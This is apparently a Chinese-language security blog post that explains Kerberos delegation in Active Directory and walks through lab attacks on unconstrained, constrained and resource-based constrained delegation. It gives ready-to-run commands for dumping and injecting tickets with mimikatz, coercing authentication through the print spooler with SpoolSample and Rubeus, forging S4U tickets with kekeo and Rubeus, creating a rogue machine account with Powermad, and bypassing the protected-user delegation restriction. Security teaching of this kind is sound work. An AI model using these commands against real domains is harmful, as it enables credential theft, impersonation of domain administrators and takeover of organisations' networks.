域委派攻击

作者: const27 分类: All,内网 发布时间: 2020-10-12 00:51

域委派

域委派是一种域内主机的行为,使某个服务可以以访问的用户的身份去访问另外一个服务。
为什么需要域委派呢,比如现在有web服务器和文件服务器,当用户A访问web服务器去请求某个资源时,web服务器上本身并没有该资源,所以web服务器就会从文件服务器上调用这个资源,其中发生的过程若以域委派的形式进行,那么就是:
用户A访问web服务器,服务器再以用户A的身份去访问文件服务器。
发生域委派的服务一般为机器账户和服务账户。
域委派分为三种:非约束性委派,约束性委派,基于资源的约束性委派

非约束性委派

非约束性委派的原理是:用户想访问服务A,于是向KDC提交认证,KDC发现A是非约束性委派,于是会把TGT放在ST中一并给用户。然后用户用这个ST去访问服务A,服务A就相当于获得了用户的TGT,把TGT放入lsass进程,然后就可以拿着用户的TGT以用户的身份去访问所有用户权限能够访问的服务了。

非约束性委派的启用:

为某账户启用 信任此计算机来委派任何服务 即开启非约束性委派。
开启后在该用户的 ACL属性会多出一个 flag : WORKSTATION_TRUSTED_FOR_DELEGATION (图截不完,反正这个flag就在箭头所指处的后面)

非约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员
这里说个题外话,域控主机默认是非约束性委派

约束性委派

非约束性委派是很不安全的(因为控制了开启非约束性委派的机器,就相当于获得了上面的所有其他用户的TGT),所以更安全的约束性委派诞生了。
约束性委派多了两个委派协议,S4U2SELF S4U2PROXY,并且限制了被设置委派的服务的访问范围:仅能被委派到被指定的服务。

约束性委派的大致流程:
用户访问开启约束性委派的服务A
(情况一:无S4U2SELF参与)首先需要经过KDC认证,KDC发现服务A开启了约束性委派,于是在TGS_RES返回给用户ST1(可转发ST),用户拿着ST1访问服务A,服务A先与KDC进行身份验证获得一个有效TGT,然后拿着ST1经过S4U2PROXY协议向KDC发起TGS_REQ,KDC返回ST2(用户身份的ST),然后服务A拿着ST2访问指定服务。
(情况二:有S4U2SELF参与)用户通过其他方式(如NTLM认证,表单认证等)获取了服务A的信任,但是此时服务A并没有来自用户的ST1,按情况一中的流程,服务A就不能完成委派。所以这个时候服务A会以自己的身份向KDC发起申请获取一个可转发TGT(获取KDC信任),然后用这个TGT发起TGS_REQ获得指定用户的ST1,既然获取了ST1,就继续情况一中的流程即可了。

也就是说S4U2SELF是用户通过非kerberos协议完成认证的情况下,自动向KDC获取ST1的一个协议。
而S4U2PROXY则是将ST1发给KDC,使其变现为成自己可用的 ST2 的一个协议。

启用方法:

其中被添加的服务则是允许被委派到的服务

若启用的是 仅使用kerberos,那么useraccountcontrol属性仅有 workstation_trust_account.
若启用任何身份验证协议,就会有 TrustedToAuthenticationForDelegation

基于资源的约束性委派

Windows Server 2012中引入了基于资源的约束性委派。 只能在运行Windows Server 2012或Windows Server 2012 R2及以上的域控制器上配置
基于资源的约束性委派,不需要域管理员前来设置,而把设置委派的权限交给了自身。
其实就是可以摆脱域控来主动设置自己可以被哪些账户委派访问。

域委派攻击

非约束性委派攻击

非约束性委派有巨大的安全问题,上面我们说过,非约束性委派的实质就是把用户的TGT存入lassa进程,从而模拟用户身份进行各种委派访问,所以我们只需控制非约束性委派攻击的机器,然后dump出所有的票据,就相当于获得了所有经过该服务进行约束性委派的用户的身份了。

1.进行非约束性委派账户扫描

这里提一下怎么创建有SPN的服务账户。
只需再域控里执行 setspn -U -A spn_type username 即可
其中spn_type即SPN的格式: MSSQLSvc/<FQDN>:[<port> | <instancename>]

  • MSSQLSvc 是要注册的服务。
  • <FQDN> 是服务器的完全限定域名。
  • <port> 是 TCP 端口号。
  • <instancename> 是 SQL Server 实例的名称。

这里我们随便输一个,比如 sb/caonima 这种都行.

这里采用powersploit下的powerview.ps1
根据我网上很多搜索结果,查找非约束委派服务账户只需调用
Get-NetUser -Unconstrained -Domain de1ay.com
这个命令即可,但是我下载下来的powerview里的get-netuser里却没有unconstrained参数,很烦。所以用一个比较原始的方法来判别(适合在用户少的情况下)
直接调用 Get-NetUser -SPN 找到所有服务账户或者Get-domaincomputer找到所有机器账户,然后判断其useraccountcontrl里有没有trusted_for_delegation,若有,则说明开启了非约束性委派

查询非约束委派机器账户则用
Get-domaincomputer -unconstrained -domain const.com

2.非约束性委派的攻击

仅能基于机器账户

如果我们获得了一个非约束性委派账户,我们就可以通过收集内存中的tgt达到任意用户访问的目的。

在被控制的非约束性委派机器上使用mimikatz。
privilege::debug提权
sekurlsa::tickets 查看本机所有票据

通过以上命令获取票据,如果管理员访问了本机的一些服务,那么它的TGT就会被截获放入内存。

我们模拟管理员调用非约束性委派机的smb服务

我们回到非约束委派机,查看票据

tgt被截获,我们用 sekurlas::tickets /export 把票据导出来

然后mimikatz里使用
kerberos::ptt 票据文件名 将票据注入内存
访问域控c$

成功

3.非约束性委派配合 Spooler打印机服务

纯非约束性委派攻击很鸡肋,因为必须要其他用户通过你进行委派访问。
但是 :利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过KerberosNTLM对攻击者选择的目标进行身份验证。 配合非约束性委派攻击,简直爆炸,可以主动拿到其他用户的TGT。-
而且splooer服务是默认运行的。(图源WIN7)

使其他主机强行与自己发生身份验证的脚本:需要自己编译一下https://github.com/leechristensen/SpoolSample.git

在此之前需要开启监听来自其他主机的TGT,这里用的是rubeus
Rubeus.exe monitor /interval:1 /filteruser:xx

然后使用SpoolSample.exe XX win7,让指定机器访问WIN7进行身份验证

然后获得TGT,下班。

约束性委派的攻击

约束性委派的大致攻击流程是: (利用S4U2SELF=>)如果我们获得了约束性委派机的NTLM hash或者明文密码,我们就可以以此来向KDC发送一个TGT申请,获得一个可转发的TGT。然后用这个可转发的TGT调用S4U2SELF协议,获得一个针对自己的ST1票据(其中ST1票据中的请求用户可以任意伪造).然后用这个ST1票据去向KDC请求ST2,然后用ST2去访问服务,此时我们访问的身份就是我们任意伪造的身份了.

重点是只要获得了可转发TGT,约束性委派机就可以任意伪造其他用户的ST1票据请求,太可怕了。

这个攻击的最大前提是我们得获得约束性委派账户的NTLM HASH或者明文密码,然后我们才能成功的得到可转发TGT,然后才能得到接下来的一切。

首先配置好约束性委派账户

注意选用 使用任何身份验证协议

我们先信息搜集:看哪些用户是开启约束性委派的。一手powerview安排上

箭头指出的地方就是可以被委派访问的服务

我们用kekeo来实现攻击.

tgt::ask /user:xx /domain:xx /password:xx /ticket:test.kirbi这里的/password可以改成/NTLM:xx
获得TGT转发票据

tgs::s4u /tgt:file_name /user:administrator /service:cifs/DC
tgt处改为刚刚得到的TGT文件的名字,这个命令执行后得到administrator身份的 ST2

把最后获得的票据用mimikatz kerberos::ptt 注入内存,完事。

基于资源的约束性委派

原理的几个点:

1.S4U2SELF 协议可以在用户没有配置 TrustedToAuthenticationForDelegation 属性(即开启使用任何协议认证的约束性委派)时被调用,但是返回的ST是不可被转发的。
2.基于资源的约束性委派主机 在被另一台主机委派访问时,在S4U2PROXY过程中提交过来的ST如果即使是不可转发的。KDC依旧会返回有效的ST2。
3.每个普通域用户默认可以创建至多十个机器账户( 由MachineAccountQuota属性决定 ),每个机器账户被创建时都会自动注册SPN: RestrictedKrbHost/domainHOST/domain这两个SPN

攻击流程:

假设开启基于资源的约束性委派机器为A
1.首先要有一个对当前计算机有写权限的账户,才能对A设置可以 被 委派访问的服务账户。
2.利用当前账户创建一个机器账户,并配置好机器账户到A的 基于资源的约束性委派
3.因为机器账户是我们创建的,我们知道他的密码账户,可以让它利用S4U2SELF协议获得一个不可转发ST。然后用这个不可转发ST通过S4U2PROXY,在基于资源的约束性委派基础上获得有效的访问A cifs服务的ST2。
4.用ST2访问A的CIFS服务,权限获得。

实操

首先我们检查一下域控是否是win2012以上的主机,因为只有这样才能开启 基于资源的约束性委派。

我们使用powersploit下的powerview脚本。执行命令 get-netdomaincontroller

可以获得域控WIN版本

然后我们查看当前用户对哪台主机有写权限。因为是实验,所以我们先来看看怎么配置一个用户对一个机器的权限。
直接在域控上找到某主机,然后进入在属性里进入安全选项卡,添加某用户,然后给这个用户分配权限即可。

我们依旧使用powerview。先调用
Get-DomainUser -Identity username -Properties objectsid来获取当前用户SID
然后Get-DomainObjectAcl -Identity 主机名 | ?{$_.SecurityIdentifier -match "刚刚得到的SID"} 查看当前用户对某台主机是否有写权限。

如果有 GenericAll(完全控制权),GenericWrite、WriteProperty、WriteDacl 这些属性,就说明该用户能修改计算机的账户属性。
如图看到我们对WIN7进行操作

好的,我们接下来就要创立一个机器用户了。根据网上搜索结果,使用powermad这个ps脚本可以很快捷的创建一个机器用户。https://github.com/Kevin-Robertson/Powermad

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)

好的,我们添加了一个密码hack,名为hacksystem的机器账户,接下来就是配置hacksystem到WIN7的委派了。我们需要做的,是修改WIN7的 msDS-AllowedToActOnBehalfOfOtherIdentity属性的值 ,这个操作我们用powerview实现。

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"  
#这儿的sid是我们创建的#机器用户#evilsystem的sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

至于机器账户SID怎么获得,powerview下的 get-domiancomputer hacksystem
然后使用Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity 查看委派是否设置成功

Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose 此命令可以清除 msds-allowedtoactonbehalfofotheridentity属性的值

现在都统统设置好了,开始下一步吧。
网上一般用的rubeus,这里我用kekeo吧

Rubeus.exe hash /user:xxx /password:xxx /domain:xxx

本地运算出机器用户ntlm hash 这里借用一下别人的图

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt 写入票据

然后我在本机使用以上方法后klist一下,发现确实存在票据

但是dir \\test1\c$时本机莫名其妙不能进行kerberos验证,我服了》。。但不管怎样,我们拿到银票了

敏感用户不可委派的绕过

若我们的administrator用户被设置为敏感用户不可委派或者被加入保护组,按理说他的访问就不能进行委派。

我们在以administrator账户身份进行S4U时,只能进行S4U2SELF,不能进行S4U2PROXY。我们用 Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt继续实验administrator,发现确实是这样

此时我们用 rubeus.exe describe /ticker:S4Ubase64加密的票据

可以发现servicename并没有指定某个服务,仅仅只有一个账户.即发生了服务名称缺失的问题。很简单,把票据修改一下就行了.网上很多说用这个工具
https://www.pkisolutions.com/tools/asn1editor/
但实际上rubeus也能完成票据修改
rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt

完事

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云